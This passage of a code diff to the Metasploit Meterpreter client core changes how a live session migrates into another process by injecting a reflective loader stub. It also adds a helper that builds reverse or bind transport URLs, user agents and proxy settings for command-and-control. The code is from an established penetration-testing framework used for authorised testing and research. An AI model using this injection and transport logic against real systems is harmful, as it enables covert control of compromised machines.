  # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
193
- client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
443
+ client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')
194
444
 
195
445
  # Determine the architecture for the pid we are going to migrate into...
196
446
  client.sys.process.processes.each { | p |
@@ -201,8 +451,8 @@ class ClientCore < Extension
201
451
  }
202
452
 
203
453
  # We cant migrate into a process that does not exist.
204
- if process.nil?
205
- raise RuntimeError, "Cannot migrate into non existent process", caller
454
+ unless process
455
+ raise RuntimeError, 'Cannot migrate into non existent process', caller
206
456
  end
207
457
 
208
458
  # We cannot migrate into a process that we are unable to open
@@ -215,7 +465,7 @@ class ClientCore < Extension
215
465
 
216
466
  # And we also cannot migrate into our own current process...
217
467
  if process['pid'] == client.sys.process.getpid
218
- raise RuntimeError, "Cannot migrate into current process", caller
468
+ raise RuntimeError, 'Cannot migrate into current process', caller
219
469
  end
220
470
 
221
471
  if client.platform =~ /linux/
@@ -234,19 +484,19 @@ class ClientCore < Extension
234
484
  blob = generate_payload_stub(process)
235
485
 
236
486
  # Build the migration request
237
- request = Packet.create_request( 'core_migrate' )
487
+ request = Packet.create_request('core_migrate')
238
488
 
239
489
  if client.platform =~ /linux/i
240
490
  socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
241
491
 
242
492
  if socket_path.length > UNIX_PATH_MAX - 1
243
- raise RuntimeError, "The writable dir is too long", caller
493
+ raise RuntimeError, 'The writable dir is too long', caller
244
494
  end
245
495
 
246
496
  pos = blob.index(DEFAULT_SOCK_PATH)
247
497
 
248
498
  if pos.nil?
249
- raise RuntimeError, "The meterpreter binary is wrong", caller
499
+ raise RuntimeError, 'The meterpreter binary is wrong', caller
250
500
  end
251
501
 
252
502
  blob[pos, socket_path.length + 1] = socket_path + "\x00"
@@ -260,14 +510,17 @@ class ClientCore < Extension
260
510
  request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
261
511
  request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
262
512
  request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
513
+
263
514
  if process['arch'] == ARCH_X86_64
264
515
  request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
265
516
  else
266
517
  request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
267
518
  end
268
519
 
269
- # Send the migration request (bump up the timeout to 60 seconds)
270
- client.send_request( request, 60 )
520
+ # Send the migration request. Timeout can be specified by the caller, or set to a min
521
+ # of 60 seconds.
522
+ timeout = [(opts[:timeout] || 0), 60].max
523
+ client.send_request(request, timeout)
271
524
 
272
525
  if client.passive_service
273
526
  # Sleep for 5 seconds to allow the full handoff, this prevents
@@ -289,7 +542,7 @@ class ClientCore < Extension
289
542
  # keep from hanging the packet dispatcher thread, which results
290
543
  # in blocking the entire process.
291
544
  begin
292
- Timeout.timeout(60) do
545
+ Timeout.timeout(timeout) do
293
546
  # Renegotiate SSL over this socket
294
547
  client.swap_sock_ssl_to_plain()
295
548
  client.swap_sock_plain_to_ssl()
@@ -350,17 +603,106 @@ class ClientCore < Extension
350
603
  if not client.passive_service
351
604
  self.client.send_packet(request)
352
605
  else
353
- # If this is a HTTP/HTTPS session we need to wait a few seconds
354
- # otherwise the session may not receive the command before we
355
- # kill the handler. This could be improved by the server side
356
- # sending a reply to shutdown first.
606
+ # If this is a HTTP/HTTPS session we need to wait a few seconds
607
+ # otherwise the session may not receive the command before we
608
+ # kill the handler. This could be improved by the server side
609
+ # sending a reply to shutdown first.
357
610
  self.client.send_packet_wait_response(request, 10)
358
611
  end
359
612
  true
360
613
  end
361
614
 
615
+ #
616
+ # Indicates if the given transport is a valid transport option.
617
+ #
618
+ def valid_transport?(transport)
619
+ if transport
620
+ VALID_TRANSPORTS.has_key?(transport.downcase)
621
+ else
622
+ false
623
+ end
624
+ end
625
+
362
626
  private
363
627
 
628
+ def transport_prepare_request(method, opts={})
629
+ unless valid_transport?(opts[:transport]) && opts[:lport]
630
+ return nil
631
+ end
632
+
633
+ if opts[:transport].starts_with?('reverse')
634
+ return false unless opts[:lhost]
635
+ else
636
+ # Bind shouldn't have lhost set
637
+ opts[:lhost] = nil
638
+ end
639
+
640
+ transport = VALID_TRANSPORTS[opts[:transport]]
641
+
642
+ request = Packet.create_request(method)
643
+
644
+ scheme = opts[:transport].split('_')[1]
645
+ url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
646
+
647
+ if opts[:comm_timeout]
648
+ request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
649
+ end
650
+
651
+ if opts[:session_exp]
652
+ request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
653
+ end
654
+
655
+ if opts[:retry_total]
656
+ request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
657
+ end
658
+
659
+ if opts[:retry_wait]
660
+ request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
661
+ end
662
+
663
+ # do more magic work for http(s) payloads
664
+ unless opts[:transport].ends_with?('tcp')
665
+ if opts[:uri]
666
+ url << '/' unless opts[:uri].start_with?('/')
667
+ url << opts[:uri]
668
+ url << '/' unless opts[:uri].end_with?('/')
669
+ else
670
+ sum = uri_checksum_lookup(:connect)
671
+ url << generate_uri_uuid(sum, opts[:uuid]) + '/'
672
+ end
673
+
674
+ # TODO: randomise if not specified?
675
+ opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
676
+ request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
677
+
678
+ if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
679
+ hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
680
+ request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
681
+ end
682
+
683
+ if opts[:proxy_host] && opts[:proxy_port]
684
+ prefix = 'http://'
685
+ prefix = 'socks=' if opts[:proxy_type] == 'socks'
686
+ proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
687
+ request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)
688
+
689
+ if opts[:proxy_user]
690
+ request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
691
+ end
692
+ if opts[:proxy_pass]
693
+ request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
694
+ end
695
+ end
696
+
697
+ end
698
+
699
+ request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
700
+ request.add_tlv(TLV_TYPE_TRANS_URL, url)
701
+
702
+ return request
703
+ end
704
+
705
+
364
706
  def generate_payload_stub(process)
365
707
  case client.platform
366
708
  when /win/i
@@ -380,11 +722,9 @@ class ClientCore < Extension
380
722
 
381
723
  # Include the appropriate reflective dll injection module for the target process architecture...
382
724
  if process['arch'] == ARCH_X86
383
- c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
384
- binary_suffix = "x86.dll"
725
+ c.include( ::Msf::Payload::Windows::MeterpreterLoader )
385
726
  elsif process['arch'] == ARCH_X86_64
386
- c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
387
- binary_suffix = "x64.dll"
727
+ c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
388
728
  else
389
729
  raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
390
730
  end
@@ -392,41 +732,13 @@ class ClientCore < Extension
392
732
  # Create the migrate stager
393
733
  migrate_stager = c.new()
394
734
 
395
- dll = MeterpreterBinaries.path('metsrv',binary_suffix)
396
- if dll.nil?
397
- raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
398
- end
399
- migrate_stager.datastore['DLL'] = dll
400
-
401
- blob = migrate_stager.stage_payload
402
-
403
- if client.passive_service
404
-
405
- #
406
- # Patch options into metsrv for reverse HTTP payloads
407
- #
408
- Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
409
- :ssl => client.ssl,
410
- :url => self.client.url,
411
- :expiration => self.client.expiration,
412
- :comm_timeout => self.client.comm_timeout,
413
- :ua => client.exploit_datastore['MeterpreterUserAgent'],
414
- :proxyhost => client.exploit_datastore['PROXYHOST'],
415
- :proxyport => client.exploit_datastore['PROXYPORT'],
416
- :proxy_type => client.exploit_datastore['PROXY_TYPE'],
417
- :proxy_username => client.exploit_datastore['PROXY_USERNAME'],
418
- :proxy_password => client.exploit_datastore['PROXY_PASSWORD']
419
-
420
- end
735
+ blob = migrate_stager.stage_meterpreter
421
736
 
422
737
  blob
423
738
  end
424
739
 
425
740
  def generate_linux_stub
426
- file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
427
- blob = ::File.open(file, "rb") {|f|
428
- f.read(f.stat.size)
429
- }
741
+ blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
430
742
 
431
743
  blob
432
744
  end